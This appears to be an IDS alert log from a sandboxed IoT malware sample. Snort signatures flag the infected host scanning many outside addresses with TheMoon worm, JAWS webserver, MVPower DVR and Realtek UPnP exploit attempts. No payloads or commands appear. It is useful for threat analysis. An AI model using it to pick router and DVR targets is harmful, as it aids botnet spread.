Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50526 -> 172.66.40.59:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57382 -> 172.67.62.40:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52252 -> 104.24.53.161:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52252 -> 104.24.53.161:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56302 -> 104.121.179.37:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.121.179.37:80 -> 192.168.2.23:56302 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36594 -> 23.75.207.204:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:47480 -> 172.64.138.72:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38090 -> 13.226.6.90:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57442 -> 172.65.252.94:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50180 -> 172.67.162.136:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34414 -> 172.64.133.131:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38100 -> 13.226.6.90:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38090 -> 13.226.6.90:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.75.207.204:80 -> 192.168.2.23:36594 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56096 -> 45.116.174.133:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60912 -> 132.234.253.152:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56096 -> 45.116.174.133:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51154 -> 172.65.224.136:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56210 -> 172.65.57.30:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:52626 -> 172.67.227.144:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38878 -> 172.64.193.87:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35916 -> 98.13.129.38:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45310 -> 98.156.168.210:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:46246 -> 98.245.70.164:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51222 -> 66.65.115.246:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59624 -> 160.153.160.208:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51062 -> 139.59.131.251:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59624 -> 160.153.160.208:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47024 -> 58.72.6.54:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46716 -> 108.165.234.89:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39676 -> 160.121.43.10:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42916 -> 103.111.64.29:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51766 -> 154.210.51.65:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47908 -> 43.128.69.114:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42916 -> 103.111.64.29:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39676 -> 160.121.43.10:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51222 -> 66.65.115.246:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 88.221.131.129:80 -> 192.168.2.23:59236 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.101.59.181:80 -> 192.168.2.23:42198 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59690 -> 160.153.160.208:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51124 -> 139.59.131.251:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59690 -> 160.153.160.208:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43860 -> 172.64.129.243:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36760 -> 172.66.45.9:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.177.206:80 -> 192.168.2.23:37602 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.20.52:80 -> 192.168.2.23:57774 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36110 -> 51.89.211.132:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48640 -> 34.117.140.198:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52134 -> 194.103.139.96:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52134 -> 194.103.139.96:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53640 -> 23.199.189.208:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45202 -> 23.206.245.221:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48820 -> 199.232.68.189:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50882 -> 172.67.85.96:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34308 -> 172.65.159.28:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:41870 -> 172.67.90.158:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50978 -> 172.64.175.3:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60190 -> 184.168.42.63:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47948 -> 200.155.75.20:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.199.189.208:80 -> 192.168.2.23:53640 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53640 -> 23.199.189.208:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.206.245.221:80 -> 192.168.2.23:45202 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60680 -> 104.74.20.219:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50284 -> 104.206.178.228:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40584 -> 98.26.16.6:8080 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47948 -> 200.155.75.20:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38638 -> 184.95.54.117:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57708 -> 98.227.166.169:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39946 -> 140.143.97.114:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55064 -> 52.198.60.124:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.74.20.219:80 -> 192.168.2.23:60680 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44428 -> 164.155.251.67:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47358 -> 140.130.136.230:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 88.221.224.117:80 -> 192.168.2.23:38978 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:60446 -> 190.135.198.120:52869 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:46722 -> 190.134.5.25:52869 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32836 -> 23.3.118.49:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55280 -> 142.92.171.171:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55702 -> 52.29.43.4:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60450 -> 107.186.63.114:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41270 -> 38.101.193.243:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54000 -> 184.51.69.14:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40426 -> 2.17.162.193:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55702 -> 52.29.43.4:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53912 -> 154.7.62.184:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 2.17.162.193:80 -> 192.168.2.23:40426 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40426 -> 2.17.162.193:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54038 -> 212.154.69.38:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.3.118.49:80 -> 192.168.2.23:32836 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32836 -> 23.3.118.49:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45766 -> 61.213.24.71:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49872 -> 23.217.177.4:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.51.69.14:80 -> 192.168.2.23:54000 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54000 -> 184.51.69.14:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41270 -> 38.101.193.243:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60488 -> 35.160.16.123:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58516 -> 160.121.212.46:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56508 -> 172.65.76.194:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37686 -> 172.65.220.122:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42916 -> 172.67.113.225:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45070 -> 172.64.143.84:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40030 -> 172.67.168.157:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45144 -> 172.64.90.30:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39588 -> 172.67.223.244:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.217.177.4:80 -> 192.168.2.23:49872 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51178 -> 172.241.89.224:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34988 -> 98.206.49.185:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:58286 -> 98.118.97.188:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57190 -> 172.65.10.118:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39472 -> 172.67.249.161:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:53412 -> 172.65.216.46:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34610 -> 172.67.237.158:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37842 -> 172.67.103.133:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:58740 -> 172.67.22.42:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48260 -> 172.65.43.157:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37646 -> 172.67.32.251:8080 |
Source: Traffic | Snort IDS: 1251 INFO TELNET Bad Login 14.170.163.90:23 -> 192.168.2.23:57544 |
Source: Traffic | Snort IDS: 718 INFO TELNET login incorrect 14.170.163.90:23 -> 192.168.2.23:57544 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60450 -> 107.186.63.114:80 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:36692 -> 180.201.101.7:52869 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34210 -> 23.14.202.35:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58660 -> 23.37.7.30:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38448 -> 202.245.142.157:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54974 -> 35.186.248.6:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47068 -> 104.84.146.108:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46704 -> 42.124.72.107:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.84.146.108:80 -> 192.168.2.23:47068 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47068 -> 104.84.146.108:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.14.202.35:80 -> 192.168.2.23:34210 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56724 -> 104.66.7.25:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34032 -> 23.217.151.81:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55440 -> 156.244.81.142:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.217.151.81:80 -> 192.168.2.23:34032 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.37.7.30:80 -> 192.168.2.23:58660 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43398 -> 166.88.214.15:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55004 -> 60.9.2.93:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47278 -> 64.225.124.217:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56114 -> 50.118.185.81:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.66.7.25:80 -> 192.168.2.23:56724 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52602 -> 39.104.91.60:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41804 -> 122.116.214.5:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56114 -> 50.118.185.81:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41804 -> 122.116.214.5:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.150.171:80 -> 192.168.2.23:42460 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43802 -> 172.67.87.232:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36226 -> 172.64.200.169:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42738 -> 184.149.41.177:8080 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.150.171:80 -> 192.168.2.23:42478 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47534 -> 35.190.93.87:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47534 -> 35.190.93.87:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33892 -> 104.83.98.229:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.83.98.229:80 -> 192.168.2.23:33892 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58934 -> 104.94.121.24:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33892 -> 104.83.98.229:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41934 -> 13.35.254.243:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41942 -> 13.35.254.243:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53160 -> 13.37.14.48:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51392 -> 185.3.216.132:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44438 -> 167.82.27.230:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41934 -> 13.35.254.243:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43888 -> 172.67.227.110:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49930 -> 172.67.37.187:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33970 -> 23.53.203.90:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.53.203.90:80 -> 192.168.2.23:33970 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.94.121.24:80 -> 192.168.2.23:58934 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45654 -> 35.213.216.147:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47526 -> 35.190.93.87:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36448 -> 85.214.86.131:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45654 -> 35.213.216.147:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45480 -> 172.67.215.32:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56444 -> 172.67.51.235:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:41140 -> 172.67.198.11:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42650 -> 104.89.33.68:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36288 -> 2.22.220.42:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37684 -> 74.125.128.164:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.89.33.68:80 -> 192.168.2.23:42650 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 2.22.220.42:80 -> 192.168.2.23:36288 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36288 -> 2.22.220.42:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53794 -> 85.98.95.118:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59338 -> 86.40.234.26:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53794 -> 85.98.95.118:80 |
Source: Traffic | Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59338 -> 86.40.234.26:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45142 -> 104.121.57.24:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49516 -> 43.129.6.199:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.121.57.24:80 -> 192.168.2.23:45142 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58810 -> 60.40.101.253:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:58650 -> 172.65.223.40:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56216 -> 172.65.166.202:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57488 -> 184.168.156.48:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59922 -> 18.65.195.147:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57466 -> 104.89.94.13:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50456 -> 13.237.38.208:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.89.94.13:80 -> 192.168.2.23:57466 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47326 -> 23.2.48.58:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36348 -> 112.126.94.20:80 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.2.48.58:80 -> 192.168.2.23:47326 |
Source: Traffic | Snort IDS: 716 INFO TELNET access 183.99.119.177:23 -> 192.168.2.23:57234 |
Source: Traffic | Snort IDS: 1251 INFO TELNET Bad Login 95.70.136.82:23 -> 192.168.2.23:44032 |
Source: Traffic | Snort IDS: 718 INFO TELNET login incorrect 95.70.136.82:23 -> 192.168.2.23:44032 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.150.171:80 -> 192.168.2.23:42780 |
Source: Traffic | Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 95.100.238.47:80 -> 192.168.2.23:56452 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51756 -> 74.201.186.40:80 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43600 -> 172.67.101.236:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38324 -> 172.65.22.137:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45104 -> 172.64.163.99:8080 |
Source: Traffic | Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:44172 -> 172.64.134.225:8080 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44392 -> 154.214.81.251:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47928 -> 20.74.17.23:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54210 -> 213.188.154.145:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37092 -> 104.68.179.11:80 |
